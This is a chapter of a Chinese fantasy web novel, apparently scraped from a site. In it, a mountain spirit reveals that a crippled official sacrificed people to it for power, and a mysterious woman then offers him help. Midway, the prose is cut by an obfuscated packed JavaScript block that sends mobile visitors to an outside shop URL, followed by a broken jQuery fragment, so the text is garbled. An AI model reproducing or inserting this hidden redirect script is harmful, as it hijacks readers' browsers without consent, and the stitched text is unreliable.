浆果沉入水中。
几个呼吸间,神奇的一幕发生了,水中的浅红色消失了,小兽黯淡下去的眼珠微微亮起了一点。
意识到有可能发生什么之后,少年身躯一震,目不转睛地看着小兽,几乎停止了呼吸。
下一刻,他看见小兽的伤口正在愈合,愈合的速度起初很慢,到后面几乎是一眨眼,小兽身上的伤就完全好了。
小兽灵活地在水里转了一圈,随后一跃上岸,冲着守在一旁的母兽哼唧了好几声,围着母兽转了一圈又一圈。
而少年的目光都仿佛凝滞了,他紧盯着那一大一小的两只野兽,全身僵硬得如一座雕像。
他仿佛明悟了什么,脑子又像蒙上了一层雾一样看不分明。
这是什么?
少年身后的人也都看见了这一幕,纷纷露出了惊异的神色,有人忍不住出声问道:“这是什么?”
他们刚刚可都是看见了,那只小兽分明已经快死了,怎么在水里游了一圈之后反而又活了过来。
这些人神色各异,都不约而同想到了关于凌飞山上的山神传说。
母兽舔了舔小兽,竖起耳朵警觉地扫了一眼他们,随后屁股一扭往来时的方向跑了回去。
少年这才如梦初醒般,下意识伸出手想去抓住那两只野兽,但他本身双腿就不能动,这一伸手反而破坏了自己的平衡,身子一晃就要摔倒在地上。
还是一直看着他的管家眼疾手快,冲过来一把搀扶住少年,担忧地喊了一声:“老爷。”
少年没有回答管家的话,眼睛只是死死地看着那两只跑远的野兽,他喉结上下滚动了一番,似乎是想说些什么,但最后他什么也没说,只是攥紧了手。
他借着管家的搀扶,重新坐直了身体,然后对着管家说:“回去吧。”
少年说这句话时,表情和声音都很平静,甚至透露出一种心如死灰的感觉。管家见状一边胆战心惊,一边听从自家老爷的吩咐,他们怎么上的山,就怎么下的山。
只是回去的路上,众人都还在回想那只在垂死之际活过来的小兽,心神恍惚,也不知道是不是自个看错了,说不定那小兽活得好好的,只是跳进去游了一圈。
可也不能这么多人都看错吧。
难道真是山神显灵了?
家丁之中,有些心思活络的,想到可能是山神显灵,就不免有几分意动。而少年对于他们在想什么,心知肚明极了,但他只是说:“此事不可宣扬出去。”
家丁们连忙应是,他们一路顺利地回到了城中。
随着事件的一段告落,众人的身影也随之淡去,寂静的幻术中,又只剩下了山灵李思如二人。
“聪明如你,”山灵扭头看向李思如说,“应该猜到他会做什么了吧。”
李思如面无表情地揣着袖子,叹了口气,灵这种东西,之所以曾被修士们利用,就是因为它们真的很好糊弄。
凡人之间尚不一定会遵循的等价交换,灵却会一板一眼的遵循。
我为你实现什么,那么相应的,你也要付出什么给我。
抛开灵实现心愿的方式不谈,它们实在是一群很讲道理很公平的存在。
少年无意间许出的愿望,灵收取的报酬是他的一双腿。那么此时此刻的他,想要的无外乎是双腿恢复,他能重回太守之位。
他会用什么来交换呢?
李思如垂眸,不假思索地说:“是血肉对吗?”
山灵眸光一动,微微颔首,算是认同了李思如的话。
“不是他自己的,是别人的血肉,”李思如继续说,她脸上依旧没摆出什么表情,“他献祭了一个活人的性命,来换他的腿和太守之位。”
山灵没有说话,但李思如知道她说对了。
于是她说:“真可怜啊。”
这种从自然之间诞生的灵,天生就充盈着纯粹的灵气,可以说是世间最干净的存在,而献祭活人,无论祭品是否心甘情愿,对于灵来说,这种献祭,都无异于最毒的毒药。
血腥与怨气会慢慢腐蚀灵,直到它们彻底堕落为魔物。
偏偏它们还不懂得拒绝。
正道修士若是想干这种阴私事,还得掂量一下头顶上的宗门;魔修们倒是想有一只从灵堕化而成的魔物,只是一般灵都被仙门严防死守着,难以下手。
于是古往今来,会做出这样的事的,大多数都是凡人。
山灵再度抬起了手,由她所编织而出的幻境又一次显现。
李思如看见少年一次又一次的献祭,将一个又一个的活人填进那湖水中,祭品有时候是穷凶极恶的强盗,有时候只是流浪汉,到最后平民百姓也成了祭品。
他们都被用来换取少年想要的一切。
他的双腿、他的太守之位、他的权势......
所有的难事都会迎刃而解,因为他已经得到了山神的“馈赠”。
少年那个时候还远远想不到山灵会被他“喂养”成什么样子,他脸上洋溢着快乐的笑容。
山灵看着少年脸上的笑容,一直平静的她,眼中多了一点情绪,是无法言说的痛苦。
但这痛苦只有一点,转瞬间,山灵就把痛苦收敛得一干二净,又变回了古井无波的样子。
她伸出手,挥散了这段幻象。
“凡人向我献祭,他们祈求什么我就给予他们什么,”山灵对李思如说,“这个人也一样,即使他的献祭让我痛苦,我也没有学会拒绝。”
真是予取予求的可怜之物。
“我开始慢慢的变得很奇怪,我越来越克制不住我自己,山中的生灵也都不再敢靠近我,我变得不像我自己了。”
山灵还在说话。
但这句话与其说是说给李思如听的,倒更像是在自言自语。
天生就是最干净的存在,被献祭污染侵蚀,确实是十分痛苦的,只可惜倾听这段故事的,居然是一个半魔。
魔是没有心的,半魔也一样。
“被凡人摆弄着,一步步堕为魔物,你是因此才心生怨怼,连带着害了那六个姑娘?”
李思如无动于衷地说出了这句话。
她说出这句话时,甚至还在想:原来他们一直感受不到魔气,是因为作乱的是一只山灵。
即使身负恨意与怨念,她也还没彻底堕化为魔物。
可说完这句话,李思如又回过味来,浅浅地蹙了蹙眉。
不对,少年献祭至少持续了十多年有余,如此频繁且漫长的血腥献祭,山灵不可能到如今还维持着神智。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17756263|204580||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
这其中一定还发生过其他事情。
而且,这一连串的故事里,为什么没有无瑕宫的影子,它作为管辖此地的仙门,竟一点察觉都没有吗?
想到这些,李思如抬手揉了揉眉心。
山灵听到李思如的话,竟偏过脑袋轻轻地笑了一下,她想:如果没有那个人的话,她和这个凡人的故事,最多不过是被称上一句“天意弄人”。
一个怎么算都怎么错的故事。
只可惜,世间这么多人,他们两个人还是就这样相遇了。
山灵脸上的笑意还没完全散去,那是个既柔软又哀伤的笑容,像是在缅怀老友。
她缓慢又坚定地摇了摇头:“不——”
话音还未完全落下,一把娇媚的女声横插了进来:“你这只山灵,很快就要不受你的掌控了。等它彻底堕化为魔物,失去神智后,第一个撕咬的就是一直以来喂养它的人。”
山灵愣怔住了,全身都僵住了。
她明明没有任何浮现幻境的动作,但眼前却是出现了——
寂静的山林中,鬓上微霜的少年站在湖边,这片湖泊已经不复往日的清澈,它已经变得浑浊不堪,散发着腥臭味。
少年不断地吞咽着唾沫,豆大的汗珠从他脸上滚落。
在他的面前,站着一个全身裹住黑纱的妖娆女子,鸽子血的耳坠在她的发间一闪一闪,像一双不怀好意的眼睛。
女子的话几乎让少年无法镇定下去,他急切地喊:“什么?”
“就是你呀,这只灵成为魔物的那一天,第一个要吃掉的就是你呀,小郎君。”女子笑嘻嘻地说着。
她朝少年走近了几步,清冷的月光照亮了她年轻的面庞,和少年已然苍老的面容形成了鲜明的对比。
或许少年之所以被称作少年,大概是他真正的一生,早就在与山灵相遇的那一天结束了吧。
他瞪大了眼睛,颤抖着嘴唇:“不,不行,我......”
女子饶有兴趣地看着他,还对着少年点了点头,像在鼓励他说下去一样。
“求仙人救我!”少年脱口而出。
他毫不犹豫地跪在地上,哐哐磕了几个脑袋。
女子就像是得到新玩具的孩童一样,咯咯地笑了起来,黑纱裹住的双肩不住地抖动,她愉快道:“好啦好啦,我帮你就是了。只是你要记着,此道名为‘祟杀’,不要忘了。”
少年此时还不是这女子说什么就是什么,他猛地点了点头:“我该怎么报答您。”
失去那双腿的时候他就知道了,世上没有白拿的东西。
女子涂着蔻汁的手轻轻地拂过少年的脸,歪了歪脑袋,低声说:“报酬我自己就会拿。你记着,我不替你遮掩之后,无瑕宫很快就会察觉到异样,他们会向明镜台求援,我猜明镜台会派一个魔修过来,你知道该怎么做对吗?”
魔修,一听到这两个字,少年就明悟了什么,他脸上下意识浮现出一抹微笑,点了点头:“我知道,在下会将一切都安排妥当。”
女子满意地点了点头,又想起什么,随口一问:“对了,还没问过小郎君的名字呢?”
月光此刻也照亮了少年的脸,他低下头,嘴角还带着一点笑意,低眉顺眼道:“在下姓王名顺。”